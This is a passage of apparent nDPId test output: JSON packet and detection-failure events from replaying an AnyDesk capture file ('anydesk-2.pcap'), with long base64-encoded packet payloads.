0aGNXGsbhc1DQ2wHVVCBVVhZeWfF9P5zZIGWf3+2nBZpsejzSjUB4YD4RYj6dN7ToEX2aaENLEP8Kqo1PVNRgzxMcTYPhWhR3QClvmnIRvasYwmqHdSSkgsMi7KQfZJS7FRJbNlEjSqMkfL6\/Px6xUb\/paush7p7OAE\/jsdWPJiI6Drt0AtZ41\/S7L2dKBKOczqjtwN2CDKHLKMUVUGfEHOzj+l0cmSLw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1457,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5523} +07832{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1458,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":359713,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfyVAAIAGAADAqAG7wKgBstOUG56PJ5uJWcQ1D1AYIBOExAAAFwMDFXdZ4hNO+msWIpGpT29dV+1LQ3OyKa2cbTIzBxO8tPsDyEiFfTkc4tlJO\/JA2vmtTKQiuDZd4AAytRkBWM3I49uKPBkVpxSC30VykkZnSlYVCrTfMfUzfTH873C37nKWIxCBjXOnJ81hJJwDhO3Kik\/crrBdGTrLrfOeu6UyNg+MF68qmS9UMj\/aH9LzZwBMlA311Skt6bUcSzQ9RwSj9Owo2ZYsFEQ5ulIafSHzAuDMy0GbwNI2wEvdmJH1BaTSDW0awJMgC5sFQknnot9+ORcxWo6XHqQk9IjQZr4cfaI8avkPLlyyJHrkGSBGV5VaLJwQC2nxyYM4SZlyFGk3MHKEuoWKx7TvHulXXmTaPlcnxdKih0BqYtirJNMyW9\/tjGnynnh15D\/bsvpjhnPn0Z65BYwhs2spaqM31lL6DGD\/aYlGLarxVKUGFq2wocBWWMrRmmnB5J15CidKGo3a43alZttDU2nB1cp\/PlsZpnmMo0le+B7jbJRYip7O8aVOPP1ZOmb+DNhqOsL7Y6PHdt5BErUdbR8tV6d7ljOYVvHcY0iK9AMktnhp3srJGynukM2xs2AD6YafVjfCWq2PWePglLRgPLsdBnhtCBHIrpHT28BZVJxGvtEjRhWf0Qr4haDlAqJgL7rsfcn2YHZYX5NmTRTAUrQ730n1FB\/vOQ7OZoJeupa3rnGjbn2L\/Bk4CafoN3+bYedDVqRvvIO5ZOo+s+QTncGjm4\/vot9iURSHkupYA4+eP57woPhyT1+l2eSy8x3EFMvcyWm30bsQf3dAJXhKtQ1Ri354OhF4O4okyXcVpezwKJd6qDUTf891v05YK4olPVuhU4WSfj0UDnBIfzFSkhOd\/4q6ZHJrH1x6VhpW60Yi73WMGzvVe6dzlGew\/FrL56nnQBs7fh74arGnO2VUXmKxMIblRUnCs7vuTutHmX7396POpXx\/hhft5V3gQglfEQ6iviSdzNkfbWw9GfzV\/\/uOnW8isadf7qAYdUUnHHsXp0afpExP2z0RKhYi5Pba2G6XgIUT4CHuiIe5G\/F47BYTPzSgTFHYlLJ\/3o6OapW13NmDuKjYrDxClAlIszQOYgnsFLSi5plqjLpERMCFczsCGcZfBUQZUZ2WB1PdAAymzTV1QxvvjI2KAUH\/krJisTfsiwuy8rxyQCRtHmvTqjeHyEy+WHYiQqj7kDufxL\/w+XoSOaJ4SKQHlIVEC0\/H5g4c7vGkGi2VY6EM2HnUws9INukFZ2vtZL5wfOUt1Ws9yNe8tuvCdMY\/CxYrLM0mXSBG\/2DcTzGXDc95Zd1K2pV5rrsYHE9o5PmYk9Ita\/edGOnPmt3V9nC9rRABTBUzZx5nJ0\/aZmfWASN4qYFS8a\/E+m+vuYBryhydLF8+Xuc4NZN+9Oy60NS2Ntg89\/8lB77NyLZLS\/sBff\/1JMiBObo0HHSLhxVmV5VVUw5f0ubdAFfIizcxvSw4Ug3tFcgW0BjFLAQ1ixB1iSxeEgbjwwk5evJPHOfZcmFHuCKmqdoSfHnf0JAQkIMf8FUWyJT9P7uLBMS5iUxVTKAKnc0rgbMDXKprjEHdryp9EExFjHonU+ZAcax5bqgXDMS8nADwsyF8Db2uxMP05ytxiE9a7FwbTjx1moCNxO1hb+DU2Q7wR09NhJRD3reFwFZ6KsBH+iIy66OpBI0sXxwr06l2LR2uHq57FSg+rqm2HZwcgLz1Q1NrDLJVsHX8S2vHDILf62MWT64FhU+kyFiHAaa+t+dEvdqZuBU3ODcZb0xUB2tarw3dYhppYxlTDdaVOUuSn7M4Z+v1AIf6kfplruRVn2A73DvPWE7d4NjuT6ZA0u6HqX0b2ncQ\/ScuXQznXPxTYaPzH13mSmA33N9V6vSTrJNIKjuaGU1+A8onAh+FgxT3cZQVzW7Ad4AyDYjoux8oiU5euvWzcskitl+mQjEYIKIsDXX20xPd6UVosOvCRE28eDcEcUfC1E6oYqYxfp+yvz+vgtj\/loCyrNRL7uWF4yf9usi9QvfaIzZcBtoMjXs9Iand0avUVCgamtefaEddoz8zUKrWdNIh5DH5Dv1eUOSAQuUTF2L8i97+DxkgCsHoXumcunTUF8kzr72Eo6HRh9aAJHi9BxamnE2WeNEG\/L6qp+Cv3Fj1RHPG8uY42I+apy+2RVSX3y3aNwvYQffZ8mHdesEFzxog52o\/BJ\/GvQ7e4iJPTknw0\/iuEIfXSF8Zb9WNyK7BGhNFFRZmoyqiBgTQhnNHJ+XxQFPRzOeNgeOMy+6HExuq1H0jxk3pTymxlUnNxQlHb7gyRzc\/aiPqLgT7x7johmIhEf6Z5+Ibbq1pW3A\/AK9FStl8zO7hUnAwCGKgvq1oJoRoBexhjlcLB7k+7MKswSomTAJEcCSB1E7LxKeErGST24Vax5nW18Q0ES78gf8ZtXu8m\/RUibfY5gB9Yovi3ZQQ0GNWzSPzqaVO7BOuNQTTJ270Jto\/5g7zO575Ze2mUbk2mcnOYrxDE7ZIaYz5SHTZTyLwgVvIJK6t\/D5n+yzmFAXanXFCtURHEXghKBVeyiWabue67EgwezE7Pp+VMjuOXg61V44UYQNdbm0pfDQHVerP8RIZmHxXMXt+1QQjVf+JsV1fktUyIkNRHCJEju\/dzW4Rj5KuoOJabwNkOxoC3kpLmV579r1psBM1BBl6LigkrwVzmft1eRHjUWePdUzd97k3VA8ha+t0FesA+Izo+3QEki3Eb+3hv3tSHGsJ2fTtVpX9cMxsSIIPfBGp79wlIRhbETbRg8wzqX1aNbOdYxV2x40kUHkE35n1KU2pCNJcziFgGd8lH1pgoVrIde+b\/RcqLYsUxEukZOcV4T5YZWrL+Iaaz1pb7Q8+6+2FrJm7vsAoz0QXTrjIr2nmFAdVIyQsPLo9Z2KiQC\/BWcVcjQAUMUYOe7SddadfvzvfXpzUfu9qSoqRKExkEA+CPhRuH7cgvFl7ZkQ+sr7U\/oDAIgwkYG83VaqU9eJbyvB5lZi92wGfIbwE8\/I2ooAAME0nvZGcwbrRyilwIDtJc3KoXqs8DiBBsU3nleR1q8eZnvH0\/IWdPdr7jDi3mYju549HStW9pk6gcotwCWH8Y6uFDhcBiZi6cfWDHLAYj8iYqUMg\/Kz2R+LNB0UmxpWA1RUfjiz\/Kqdw4ArIQh+tq31DsIsTIgF6F94dleV9Ks9M3SBXIz2EpAcix740guqGTAeO9HkNxXgrDvTniaSAx5cMD8jAOmMhA3I\/XH1vJenMQViX4elJCbqzivQHJDeWef4CH5qvl0lHScF2OrIUbNUyCv30qwNXhDaU1gB9M0ko660mYZtEnGubYyd0ABT83eJOdGJaIVKsLH8aIdydW+YbMuaJoMO9Hxk2DU6g\/wEp2J6KIC9YMfyScJK1P\/B+FUzEwcMpyMldZaNoDDNYi6ubewZ6cW8LqndFddnmcW8H5N\/klohc+EPuOErQ4FYedsjP4vHXpYwu2UchpaTvPqM0DVX5ph2CTFuRoxEEbgu3GZ3veAMOBeC3gJM54Rn3TWp5vVg11gvT7kXEBw8YL2Cn700sBkmeaR9g9\/DnDxVdaYFofHVChDi39vg8PCSgxRbMKVMttZo0Pq5OsLcB3dQuOvrEE\/zddP6Tj6ITciS2jdVPILIDKbJO8sENoajclX3Qy28itvdQ2oEPvva70N6I40T5ndBnwQyn0ljjsLE0s8yWJ0b4s4TK1G2dOatkg8wAL+JK6X2c1HskDrKK4z0rFR8vBPSgZ20vTUrD7nGc1miSSCM\/MQIByRozaMYpi+Xc4Ysql+eEhAX1cOgUtOMSi9u8Ftxqtl0LvAvvXDJqv15JHu0LpuYlgXbyqJbCw3IaHslPcVofvmgi0IIz+mGCxQDVhQ+iuCJbQiFtVF6Td+OEx+id3Okce+hC\/\/3vdnRvdfALa8g3hBBLwsx2stPq3Ft9bk\/ZH0ICfM1X6CFuYHuuTE6NwYxW6xjWuJE5QT2v43XMYBVR9lB\/ek+eXBywpUCO7qP6ZPxMGpouw2DLYqPMdKL24rXQ\/yEiVwL\/Fl7WfXIiUXkANInPjvV0qXEd6QnlKPQKAzA0CSrqll\/xmCq4Z3B8\/iCm\/STcq\/b7eRQpyQv8bb61xKYrRiEQ63FyYC65B9VOyuC3Pjt\/4HVMJdYwOfz1c7vMWrK+0UeI2bn4grRZXRZiHs333VN29icAH4jNSDDUG2d9iqkhxG0LTsqaZ8kAw14upMYSGG3gaL8dRhLhSW1J0RE2p6DNODFKF9zrJbIMWpB7RaVGetQQo89AAbmH5VuXc6mkPub5xqkmx6sfIEB0XIViyJ0Pb+QDAAFvoQr++d9F5DaSNeW4dbZt5\/7EOk7N8aAxqY\/ezSuVjsFJaeievo1lcKxbkW4qRYdXnvFHRsDpyxkn\/l++JjalJPbu6v7yFnj0sxNySloJH3XJmVjSlMhj0\/i76URa8NcDNkxOyyp87mQcW3VnZHVTFVvbm+CZfuEYAxhaRtgnQfmmFZl6uMFBhO7R6NcrQeG9ASUdoQwKZW8htzBPtqIINH\/DDJCnk2NcOnLn+ieMLzpJjPKX1THVEruMP2EcQ+z7YLFQBnbUjZJ830TmW63jk\/3IDqXO+juW0SKzDuakMutmlq74Kr4VgASSdZ+o8p94+78ucDOBIQ1zvuasxOR2ZEA0lPVE7D0BpbqqCR7m4SqDJ7g2EnVig\/MbtrSECc\/AYNCOY4KuHz7RVH9fiWVnCKN6rHm4WldpVUIk\/M6XvXULTeoMIDcx8AuJqt9\/yhSLYkl1PJmpqV6s9so8kYNZ\/v+aCjZAkXyFoU\/3A\/W8O3S8c9g5bj9R6OLPN3vcMk7Qgr8gOAj2pZr8EY6ldlQjK+p3rdoHRG1vxaTar07vuXAzFEw22g0DfNZNFsC+fUTh9Qm9+rZ\/8wati2D3+rmW7ic5+ol2GSJ+oofWwt1Z0qGJm3ZJyS1CdGMWJfvL0tQrtGuUXd5qk3tExZWPgaArqhPvQ+igCesxCybs8UKHRCbgcAZaNRPwk6jRYQB1+4QeRuzbYYzk3rHe\/aEpcOWFlV2VVWNFvuCOXbGnl5mWRkNfyOb5ewBOJTQYXHubLxQRiZHlhfj7Xvr1Wm3At7WILV+KHp98Hmesw9wBXX0\/k0HjSMx9qJxseey5Mc+SthXnsAbnqT8XNcWGCxAmGM7+VhJUNNZ3ogIK47spNKPY+K6pk5xIMQXbLDzCU4cH8TfR8hptoQW3YIQd0p58TM9W2axlbcBMI0ME5WZoyB\/KAyoiLBdf4EbvRZvs2aPlV280BE2\/reBL\/HB\/1qEh6aAjU1i6jSrVuq3W2yOeaVJAQ7GpExwgFB6V8R4fUMjSGxKvdwBEnoTLHZZU2x1h5KTOSoL+JflUKbyl1j2yIZt7nGhKmYwedm+vplni7tmuxXXvWBj2B\/RLe7fd9PF\/CTIU1vLx\/Q4z0Zx8t8Puf8Z29V+4aDIiVG1t+\/6O9NfxBI1i\/z1Mem6MtB8gAIfbqL6YTcty5+VZfbQpS3y04VWa868F4bjPqteoZFWUhfm2nrTd2witnYzOczdCD4lL9zTuOt3c3ecnrqCo9WIEocyBr+E9fRfXycQDubEN6vgIPy\/3oYIlRH157KXVL1MMfJXStUSqZ3RezmmCL7GLuAZu1qHxyKPveqX8Ye5PupGktpNtaODTcGT3XRp2gK6q9lnsQfCfqznLWuftS1Sil8w1zx8qcO+q9gW+71QPwa4s2017lxDG8yd08RJCEPJV991eCyJMmUSAQ3D3h3a9U5t0uznlknxOa3DG+w1S6VSq\/aoxGdfEel3pig2Tn7h1NbGH1QKFx1vB4vgf+67QIDqcroxzRkqDiyX8suat2\/PjVdTO3a0Q7hYU1skwCzpyCdI0Xk0Blm7eMm+DFrKi0Xm8y9TianwmElfrajFqckGRlYHRhuDqMm2BP8U17mfAp3B+xkL9X1rog8yR584rpVNK9DpjoJCSGTBK\/Govk74vkUzoP7g\/ty539ZcvvV88ZvpUIwdFd6IlgR30faDZmUH6c3Mm7QtQwh07KVlpIgTgTygcVQAnFFoMBK7uVQ1JNtOt9+Lqkl+0qkihL00vPiTdVEVsMb9+Ni3vHWcWcun67Eq4by07whKPp1YDEvrBvPS76HEgliz2tCFIAImyEkYUsZ4teG6m7gUn6Xu\/6O9TMbjfQ\/BEv3TVIgB6zJ0qk1dT9rXuhHAWusFYaF2w17EbbOm+PwVnHrlGZo5CIzuVGOxXww\/NBAG6eVvc4w\/mJQPO2o9MoqxaZLM9bVB6NmwR4DrdqGNv6Wh88y8wa6aWh1GUsqMrcemI1Vge5yiAHJO9OcU6mjr8cqHObchwZSmRMGe4HvTRaWrqKWAjz\/4FORFVsO5aFB29qCm3gNv2TWXLTpwrKOkzVaSQO1vrBYx24RitVHqILztQh2pMyig5SHwCuK3p2t4oj3HECNrZGhLjCvq98izRgnl3\/Wq5MoVkVTHsN1dmjOE3ZEgKB5eu7T\/esaE0p9bHlpGLu4D56mWkLifuOM\/e68rUiPORWHVt9PHfoAOedtTIqh7KSEybSjLDoHQsWAKmdrbol+zQVtpTCv9E8d5UJTVL5Muy1FeESM1FuyzLgahbqOMD4iUdxLm2e\/lApiYKzD4cM+TpID+XBGNF2pHlW4dyUaa0o6fIDC2xoc4yV3CBDyA\/mwTrNitv7yhYwu8OSqunLw8CzOMVyowgtg7a\/W3F0vAPA2leXAWwCIPWCNOggibbV5Ly0+oINhIE1zsUHoPc21J5v4D1uXa8F8Elj3Gbur3ETfOo\/2XjqfM\/D+CSf8Hornr+UfV1AbDibFals0RzbnQZThdZdTCbWb97nknEXLa8i3F4YOMdV\/7Rmty6Mlzb64KixGUbMzdMQuM7beXLt19s2W056M+kqRgy0sDneUlQCr2SWgolhWX6ZBqmoJRK2om2elMZ6mz7jZXba5PCnGCbObn+eYLFwinDsdU0PeaJ2kFZYha\/wqpie6TFN8caV688xqLFRgls2coiVD+hdRcLc2NA7WLnbF\/7WPsmnK4\/3dczMvMAl8+6LiJt9bCivG42E3iItzOzwbJ3VgeGq+Y6ivX\/W0fdcG\/xzysyxVjGXwE22UE+Nh9MDBLvU1PSUBk3VzcS\/K5uXRtRSe4W9\/Fh5c+yFpW87aH3Civ5uFiWaOTpgEfk\/aMeBOUs3vWwEbJxbuwl7eTc0\/peXt1bKfkaTWB9N5Gw31St9p\/DtdV6gVwJeVu9bxwXs61AHw16TYNXsyjQ9X0itbvrAdJJ5DhBp9v+Yrl2YaxxY1bhBeDsilvKZwzogWlxZlAwyQ=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1458,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07830{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1459,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":359735,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfylAAIAGAADAqAG7wKgBstOUG56PJ7EFWcQ1D1AYIBOExAAAFwMDFXdZ4hNO+msWI1JiSU3UbTlCMneQZU\/\/fZ10KSQq3nc6fo\/g2DjpdcL6j520ac9DtMblCFIYPGZCYpdUwvsh7NVja571xgjEKdMdh\/qcUlWCXDP0IW4ahBTWSeftqLjCiuMFW9efUOUgX3jI1\/27LQgDvAje8Yj+Y\/Oc3Zh9L8bDi6BZv5oJ3e+kju3zhHJYPiGUcqBjcPDn0\/9jbK6FhHrg88L5h4iph7IRYO4UPeArk0VMIulxQiMTjrCJGq1V5gYQjFy2Wk6Q9CdHN4C5VwlnZ+IuqzHPgucBx9JQ\/04yxR8AnGqfUT1Gc3m637efqkZ658DWXEI105RGZHo+doRU8fDRuctXnygD4rZ7Ny6YgyHidV1xHlVZiAAAXiMyVrdPt34tqGRhFJBb7GxMd+4RMaKaIQK0vAFBYm7M\/ep+iKkvLypnN6NbFWVKaumLAwx\/1boh78oYNBRQwej4D07YcXezXQkhDF5c6AKYXwsHAHdarf0wBjTVAzOliL9FNI3G+vjvCDDfnOxrpToASprFlLgtXmMvO7av0SenlumpfPl\/LroBDcEbT7IJTFYyt9L41WukHlFKWXvsx3U\/JSBAIEFogkXFszQjMovi5JQN9k3tdOWKshvtV250HMfdO+XRPQrRgbpYm6OxbwMfWTjfBe8MzMgqS13hn3Gg5RJlQZrwmZrJzOUgf7E0zDYTkZJrOOhZD3tvi\/XAc+EaxwkG5UKOpF09TjYstftW8N9nU55fYRF\/PTJEtX5c2JujyJPsF5qPVry6D9zDxeB\/fXaVbpfwfUnMhwxvVixQanHNPjS59zLhxBRgbIjhKcIAVOt66P8DwK7fEs1Lvg3XvNoOc36O+yfzfXbjfti7TRGRs7fK00Jbg4CtUFykAN31tDhdtn2zF3jRlWVe+gfJTZAnCV2Yu9uuAUeIaVkXcMh47QmfT\/m7lTvYsxsU7i2QiOqa\/haJCEOsQdjEuEvpo+efBEpSU+4iQEssdNhtta9sFh5a\/auhZvaj7BRxaE58Lf0taPNDt\/U0OdmJ1v\/W47yj6lgvswMXm\/KVgm\/64njOdmhb11oi8Z2nkxFj6kYuW8fmlZivVMS8T5r6nHZN2xUG+CxuKPdTVgw0VnryZw3hd9C0taAK4pXm6A3BX8VB+8\/oUg+FiJ17E92wx+zmAD7W+t06N6BBgxTHBC5ymZyKjwX8u4F7e9EIk7CfUHUvShPyZ9CQ1unvtcjLgRWx7OA2YNWm1AZ9mY+tlK\/SGsmX3Z4GUo9prdYu2xkuUEx0G+bOcR6ewG+3RKrJ+cLpUAPPldx3XbXzQrYIKycNkz0duIkF2mjiH2ogB0AQcU0YYSuS38MUvou4ayIti9eN+k59U\/\/oy+8hTu7XziUdJ8oKU1TP\/wnJB4pyx60gN0s2aMvpXUd18i4\/dYsfRLW0jBuCCUf2i5BkYNCnqA9qPlzjMVWlwdeyjYibeo\/O1TlQTr2cEJjTr6x0VvniDq6\/c\/NftTDTwLUsvDl9fJt1Fa7C7EqRDZfCXjk87V6JHLkoKhPUkPYCKlc92PwhJsUuTxzDkbfvHZ\/GGLZgkjtdOQtJ\/Hi9atqXVyj79zlYE44U3eabjdLGlt6S6Hq5P\/SN8f6sz+a2NFkwcbQbmBrA3GktqNOAstFoosxSf1f2LlNw5iOi0DYS8obcdPYL9EnOGowNOOs6vJVNrdNDspOGQH5jSBIRYyHuJ34PVqaHdAOh5ztvKBP7AmVMiHOzOOzgWQcWYnJrjlIPlySM9F16Jo5PqygFJLJ8Q8AJhgIBhqvMnyFrekJOP3ow9J+qKQYFycYXttfsMvMLYKRyCURu\/iqVb6mtlwzN29TWY0hlc+zwqnL70C7eQaalCqXLiltM6Fkv3EMXlnCQJV8+3mjoOWDKA1YfIc+x\/Dz68\/dJSJGCAy8096FLFO5LWk8cHB1SJDOwPiNKJjPD0JLnKPUDtDSw7XzRgENy1c0zD0ARHq59IuOVo44Y0KsUVACLOPHpAnyjwJ6dKRTvfP0uWqunIg23FNnBnQZ5+FgpHho\/RMXroMiaItnmX4OdDapRMZYuNNE9W\/x3MjfpVjvof5BGcNp5+BdqhNBY7mPNxGvVhCwF2O\/v5dV7qnPQvON7CxPANshZk7v29x3BfTSnYkXz0ub608YB+Auj90AhZF9JwgaqfC+7nI+klvba\/H25uJ3odlKPKJ6tBaXp27BmegRY13xslDH3Fb7C3iLt4CnSXy4y1\/OmAOiqcfcb0+fZBZaThkY20ARRmgBWu8T14F222kPaFpYVVw9Oih1mtvLsXo4+zVtdcjJF\/FpbuDH0TXHGHE861iW+1ye87Mj4k+iWlNBgxfivoHu0XpMmN1nmMvazy49HDhOvLzi83ZXAlakOvVqdX5rqkEEyPjH6ol1TKoNqyONvWkim6Y6egWSMe5mbz0mi\/3f01Iwg9o0pugGVDjFeM6FboqhFRcNYjb+WRhBuBUvLesbsgha2HiJxbmZYwCiAKYOhei2WfPImktpTFH\/iQKcsRuGBx8Ed0Y25+dM0Xu882kqtEsT3rThshX8XIdwIsY5xnoLkMu18NEOHqtVSCpwss4e4EkGD9P\/4MGuDNsAlN+yq0myPUU\/oFoAXF8m4jMEYidm860EhcHYwtbyMTwKT9omHOxs77bOOEuyIG7bRRAGk7QRXtqSFYMuu4vgaEusvMxgY5odEeeDv5KpyuMwQLAzWcdduevyF+Qsfqf1TQ4jywSZuCwDOhZb\/LrTF3oN4IG9ctyIuTdc4w0biSUJtGnmi61zxNiCKHOJenNXhRH8v2jcBgW8x+33qy+B3psZeHzNr75ntYAaORzVvI8o69L8qDyYMCvpqsdjSoBxCOLFZsRxG5jGBQGCyPGswfr85r4aTxLvNwqoQlj2RIWLkarCSOSghBqvZqPyb74GOnHJqfxCcZkBDbzfzkwdiptFQOU0PiHcpmB05mOdhdSKIGIJmuw6YTUVwUXnbQtPkDaWYyMnkgNZNvMhseNafg0qW87EAhjadriGU65APwKqceRrsf7Y5W09qhPbb40tnqJX0NnkgtBPGbHOFIEEvprRWaeGoDx81Jswm7K9blhw+rVPa2ADNuHWGY5+Xtn09Uu4HfnDcJ6KPqdJg\/9oZW37UfecCmFNRNnJVClWdVs2Q1jyTDxT8DVH3pBOy+dQ7n+b5KpoJhDq07Zmvn\/Ho7nKKryR1hraglVP8vLgqiYbKcSZIvTJxAaTsVidayT1ZKocU9O6zxjAu3UPs1ZJEEnlJV6TmaBQ52S0sq9TiZDrZ37YG6MnPC3vyrWgcMXohG7OgNNNvJEPK4U5loZ0GcQOE20bpBEeiFLy5TXuq5QMHFGy4Z9v72kT2JkMJjun9voLfDfDjreZyIOXBdRmj+lXGc0lIt6duP6dZQTLq\/QNHg06EnGexBLJXGAstNkzTC6s3v+FzRi3nVBvnW07atfD+Spfn8Pn0vBJ6r5XH\/FgAhPW0H4+1KI0UxogBXrnmBaL5xQbaOaPC5CHkF6gkzWAGDpNMo7EFn+QTddW9XhJBGWK8ODB+D07zBtH2jjiNFrYQeXwNuaP9bJSluI5VLdb4gvKuKpCZk5e8CaajtH6r5j2R3T7LpJm8drXTlLMgrSUskawCRp2fomEnyiGDByo3liF0mhsQD4E2w0wsIR+aPuR4cQs1UOC7nvq7jkLbIzOBv2UO4WSCMPHXUA2ohsDb7lVqGtES14fmo39qsODmIZW37+UJ6xAFx8wytOg1n7RZmUrBDVCmnAWRNLImQf9j0+hbN5jNp5dfsjngd\/C0SZ8zY5F1sAcqjw+NRS1B3vDlBdPUq+1keljNmdx9du\/c8VAp+Mpdxi6Ei3zRc3BAbAIayjvoLGHrV7uUwf6ELSJ3H1\/z\/QGOsET47fWBr82q5NrS5Ak+MiIoChO0+WDOPPY6XLPYfoAGho4m5ROy9B5MEuP9Ght4Uwk1p0tglBaSde3\/vGnXaQ9sPL7Z7DQskE6EhQluAwpHj3Tzt1rbzkvr999TVxj6P\/jPbDp5crhDpwSrDjj\/tbHI6VFjy6AeYTpUMZ2m4vzVCeHX7q80\/lPXxEwHErsese4jRcg3EOmbFLUyYzkRS4Uq9FgFqOpQp8c2Jb64\/qtCK0pgzhP6XEV4qwsAnbbJ5i4ZUnW3JZznRFklRK0U5h7xTJUAaRvTnalhUbneLCb2U2y3upb+i3hQLjYAVdws0ho5vkfjS7OxoFYoDqR7gpVFZgnOHa1V8Y4SuQqTnPSw9h6LDSiZgNExpJqu39U+q7FNy\/mtrHCXPz38bDySL\/9H2k3SBh4cFCuYsFeY44qKjYLACmPg+BH1GWSd1X8z6UhLs5a9RwJoR+MHe51CwYIPR5KT2MSuJRourvJEnoMWGMCnqVMbCk\/90IgJzGr7lj3DoI4XR8gJ0yl9bD7BETiB5BvEahiOaNpn4qroeMTctsBqfyVzMxNX\/zSzf2XJ81ldo81qW9UlowGur13x\/7njNbItOOjHoJoRXkPgYWKxznMdT38EXqTe\/NFXHkUYUIn5IiG55yq\/yM2OX0B3Vg\/UTqtrX4hXEwzV\/lHspsTk7hhv\/pujE6yP0luaD3Cks3qe4pQjvRx2PEj5wNhk0mtfIAjF184Iz7a+wbWLMl+SOOSnLol5TInoAM1T47FimMrDp0ZdeYmZAhwRXcTsbIOdcQJTyb7ISiiErpIc+1vgDBQlvbzLQVkgKMAm1MOhUrA6bFF+dvMaug12VMSv+\/VWwP7qiJ9ZvkOPpAIpohxjkG0QSZukx\/qAffshEqK4St1jfXPAk\/iq5wQcHjtt7l1lRwS9HyqfHZUM331E7kIrejk30jFs2Np2CXyFgLErMP5BKdaSwmgGsusIZ4QvVo5fIcY\/jV4AWot2Ugryy92ziU4MMrx6cxjDNMaXQnNRASigMAE8EHFKTgB5tcqZHrRAUhDEseESV4HpV1nzgTSQZsPnaOoPYOIIM5AKl80\/bLfLMfdSuAbDn2vmsqTLeyio7PtU7TYC7r6D640SW\/8e3Td1iT8vGrDBOqpBJr0ZYOwQeDUZXjuUUZvaP2BnH6AAAq4cqhQI3L\/C7cYTzNLy1cv0MpnrWuk25+cxqIvtribZVb4dCDfm+lVHa8zDAUkwG4wbU9SAWB7EpeCKBXkemG8DrUJzV7XxkXGtXB4pjKkXSpSijOmYwNZVv6\/Lwj14LU7UcpVSB\/pqyg9BazNOi7Hc8zdN9Dm+sJaTTWpU9j5fXMZ0FNxviG8upjg3jxjYunG\/QO1cdOkv+Sr18a39lVMHrtf3uvkOUZcdCnmokkeXDOYIV4P48haGauZ0qF88I\/fv+UPysOQbv9kjN2GbjtB4dAbCkZ5u7U8B+S0Fvhj2zstoEOBGENhyNhTCnBZglFvuTzkAseqXxMH2SABUSLIxXOhkqrTpCjzzq98k1GQnEJtvDfM5KWnzCJq7btpDh\/IJhYd5Ym8bVyPgIreitupO3NKThnW1T1iTyCO943GPnLBKe8+3n\/4n4Zz+3yV5rBS5h96nVX\/w8OohK8cK7kc4Ee+OgA8lg5QUiRiUH+a9po3HTBin9wQgZ1edRJXyLt21ZzM0IUUVWGQNjFvi5GK1XyEF+gkikDVFH2Y5k1zPzvY9KR4R2r490cjOPloChmkLjKoy7EJW1PwrJtL9Z0rqIGUCAt3yzSNsW+1U9pUu6eVGhGvV\/fjur29mpN+4tIyCHzQv1OmDJQYTehhUbsXhjlIs9oaoEzQeMFZWXK5707oxyhIvxenjzt+4KAr0WEkfhcznbU3ilJ6tzZNFS5cCKbsMS9Hp2MvAhBZgGR66E\/n5CXnGIM9UbsJ2ZOqkX\/we2XDBRqtBkRFElLTmSP0\/MUST\/mqJuGaL7XpwmBO2Dps6OcYkR0If+\/N12l7pAJfbTlm+vtN54+XFedXJp3qpglWjwZmXKKMJf5RTeiwz2Q1ZXg89houK82Lzydz4m3DK6bAt8Dp3TMOvEpCIh0D\/J1FCFlnl4gUli9sIVYFUhkMlK4\/712\/YIpLDC8+65WPlv94hJ38aMBAzBXT8XotE0vOOeWAhbOKh4ygnPqI\/2ViTpAwsmzneQbtXsfR8IyjhCiLCedBuis6trJrKwYh6Ckr6rhDpu0LTnm0egsgW4VkqLBNburh\/9+TUaw+bDIniOLlJ97ME9s\/9SfB533qtUPb738BVaaKs5Al2MTwnw6kQyTYd4CG+WvwLbFb9I0k6uXc8nmSFSKXWXKVmj9ICtOOQjYLjaYKbhjtQq2Ec\/GwkebaebzyeYw77QGGkE5o0c5aXNVcL7y8RggYLDxEROSDQFJcJwpH6MqeZa55vfGXL2\/dWukEx06qvlmFSyycY0lvvmyVAiYs2ZRfFNrrMj\/G5Tn7xj5gKgGhfovvXT2\/aIs61ovocXJ5mEYa9kYhhTeHtetr8LXpWt+vgDIgX\/PGolHkN56NqTlc4NiseQUJP2+WIhekxAZmrcS\/beDgdXA+hLQJxq1yM9lrh6osI08GWA3z2KNpt2J2fCejSAx0Ks\/vCyQG83nThisi2emF3FLVwi3iZFa+fWxBnylLW4ERMFC3052o9jIun7op0UBNaLqKo\/sPrAaXJVXF+4l\/nv7cvYE0lVKmpOg2CwJxKDcyyy9ka6Xg1+nw+2XSHurwdZekH88HRKhD2xP\/CjUeds3SPMYhOKimJeY4SIwgfrHbRsysDa9gOvs85wpBs2\/okmKQlQLN\/yaMnv5163LU9rWFGxWWXm\/+dya4oO5wQZIK6RdNCKBo45eaUNsNtDyOPuoatULqWdLg2bI6S2skyEL22ar4pM99PUVr0xl1abTVQ2VrQwY1F8HkQsLtwHb\/8kJdmSMnOaqh2pcrC2PXXzKyioMHnpaq26tbLiuH9\/WGNJr7BkTlirc6S45bgIwTi29HrVqcOO0baB8lkF\/ex8eTBsq9WnEuK78NqgQHs+Gi8alaVjYaL0OZ3C00HKypllGr9KTweRCGa\/io3juK9kPUlD5LCR20qpDSdbz3OvZfEp76W4FByCuiG1QXwFTRHbJx4m1XV5+pGaCSHqlj6moPx6BgokTo47eDETzkcTFwDpmDE5Y7VOiEJeWNj5c\/42G69Cim+Pku+qWOWKC\/Pibow2xIwlr2AIpWry1B3Re67YWCCZuENPbH3rzrD39GRapqt7bHfdgICEXAksNVDmnzE11lA+xw3GaWccjJdhpNP9nN6sfAYVEENVXRRE\/H4L3rQVWLn9NMGs9Zxvb